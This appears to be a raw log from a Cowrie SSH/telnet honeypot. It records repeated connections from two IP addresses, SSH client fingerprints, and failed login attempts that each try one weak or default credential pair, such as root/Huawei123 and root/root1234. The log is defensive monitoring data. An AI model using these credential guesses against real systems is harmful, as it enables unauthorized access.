{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:39.541451Z","src_ip":"83.168.110.85","session":"0f1795627fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff408f052cad","protocol":"ssh","message":"New connection: 83.168.110.85:58394 (10.17.0.5:22) [session: ff408f052cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:44.910670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:44.915533Z","src_ip":"83.168.110.85","session":"ff408f052cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:45.036692Z","src_ip":"83.168.110.85","session":"ff408f052cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:45.611529Z","src_ip":"83.168.110.85","session":"ff408f052cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:46.751463Z","src_ip":"83.168.110.85","session":"ff408f052cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40208,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5cddebfb7d6","protocol":"telnet","message":"New connection: 152.42.224.71:40208 (10.17.0.5:23) [session: b5cddebfb7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:49.138988Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58396,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f368371cc80","protocol":"ssh","message":"New connection: 83.168.110.85:58396 (10.17.0.5:22) [session: 5f368371cc80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:52.438150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:52.442566Z","src_ip":"83.168.110.85","session":"5f368371cc80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:52.563203Z","src_ip":"83.168.110.85","session":"5f368371cc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:52.929187Z","src_ip":"83.168.110.85","session":"5f368371cc80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:54.316364Z","src_ip":"83.168.110.85","session":"5f368371cc80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42732,"dst_ip":"10.17.0.5","dst_port":22,"session":"448a31ebc782","protocol":"ssh","message":"New connection: 83.168.110.85:42732 (10.17.0.5:22) [session: 448a31ebc782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:59.231869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:59.236262Z","src_ip":"83.168.110.85","session":"448a31ebc782","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:59.357893Z","src_ip":"83.168.110.85","session":"448a31ebc782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:59.736848Z","src_ip":"83.168.110.85","session":"448a31ebc782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:00.863734Z","src_ip":"83.168.110.85","session":"448a31ebc782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52744,"dst_ip":"10.17.0.5","dst_port":22,"session":"160072def5f5","protocol":"ssh","message":"New connection: 83.168.110.85:52744 (10.17.0.5:22) [session: 160072def5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:06.387570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:06.395958Z","src_ip":"83.168.110.85","session":"160072def5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:06.519529Z","src_ip":"83.168.110.85","session":"160072def5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:07.270948Z","src_ip":"83.168.110.85","session":"160072def5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:08.404028Z","src_ip":"83.168.110.85","session":"160072def5f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37304,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd772333b25","protocol":"telnet","message":"New connection: 152.42.224.71:37304 (10.17.0.5:23) [session: fcd772333b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:13.284313Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52756,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aa77324e945","protocol":"ssh","message":"New connection: 83.168.110.85:52756 (10.17.0.5:22) [session: 4aa77324e945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:13.857411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:13.862815Z","src_ip":"83.168.110.85","session":"4aa77324e945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:13.990187Z","src_ip":"83.168.110.85","session":"4aa77324e945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:14.356736Z","src_ip":"83.168.110.85","session":"4aa77324e945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:15.643313Z","src_ip":"83.168.110.85","session":"4aa77324e945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43980,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f0623562c68","protocol":"ssh","message":"New connection: 83.168.110.85:43980 (10.17.0.5:22) [session: 2f0623562c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:20.829975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:20.835810Z","src_ip":"83.168.110.85","session":"2f0623562c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:20.958977Z","src_ip":"83.168.110.85","session":"2f0623562c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:21.324296Z","src_ip":"83.168.110.85","session":"2f0623562c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:22.454845Z","src_ip":"83.168.110.85","session":"2f0623562c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48470,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f2e77c0da9","protocol":"ssh","message":"New connection: 83.168.110.85:48470 (10.17.0.5:22) [session: e6f2e77c0da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:28.064557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:28.069595Z","src_ip":"83.168.110.85","session":"e6f2e77c0da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:28.194131Z","src_ip":"83.168.110.85","session":"e6f2e77c0da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:28.560055Z","src_ip":"83.168.110.85","session":"e6f2e77c0da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:29.916467Z","src_ip":"83.168.110.85","session":"e6f2e77c0da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.69584655761719,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:30.570066Z","src_ip":"152.42.224.71","session":"910ddcca215d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.088117837905884,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:33.226964Z","src_ip":"152.42.224.71","session":"b5cddebfb7d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50702,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9822800907","protocol":"ssh","message":"New connection: 83.168.110.85:50702 (10.17.0.5:22) [session: 4b9822800907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:35.041714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:35.047281Z","src_ip":"83.168.110.85","session":"4b9822800907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:35.169724Z","src_ip":"83.168.110.85","session":"4b9822800907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:35.539448Z","src_ip":"83.168.110.85","session":"4b9822800907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:36.665927Z","src_ip":"83.168.110.85","session":"4b9822800907","protocol":"ssh"}
